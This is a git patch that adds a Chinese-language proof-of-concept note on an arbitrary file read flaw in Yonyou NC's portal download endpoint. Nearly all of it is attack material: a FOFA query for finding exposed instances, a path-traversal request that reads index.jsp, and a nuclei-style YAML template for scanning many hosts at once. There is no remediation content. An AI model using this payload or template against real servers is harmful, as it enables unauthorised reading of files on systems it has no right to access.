From 2b7bb845143981b1d3ee0fede3b041f600ed30e7 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 26 Nov 2023 11:37:56 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BNC=E7=9A=84download?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E5=AD=98=E5=9C=A8=E4=BB=BB=E6=84=8F=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 用友NC的download文件存在任意文件读取漏洞.md | 46 +++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 用友NC的download文件存在任意文件读取漏洞.md diff --git a/用友NC的download文件存在任意文件读取漏洞.md b/用友NC的download文件存在任意文件读取漏洞.md new file mode 100644 index 0000000..988f901 --- /dev/null +++ b/用友NC的download文件存在任意文件读取漏洞.md @@ -0,0 +1,46 @@ + +## 用友NC的download文件存在任意文件读取漏洞 + + +## fofa +``` +app="用友-UFIDA-NC" +``` + +## poc +``` +/portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp +``` +![image](https://github.com/wy876/POC/assets/139549762/43853ad7-9323-4874-956c-25b5de054184) + +## yaml 批量检测 +``` +id: yonyouNC_download_fileread +info: + name: 用友NC_download文件读取 + author: mhb17 + severity: high + description: description + reference: + - https:// + tags: fileread +requests: + - raw: + - |+ + GET /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36 + Connection: close + + matchers-condition: and + matchers: + - type: word + part: header + words: + - '200' + - type: word + part: body + words: + - "response.addHeader" + +```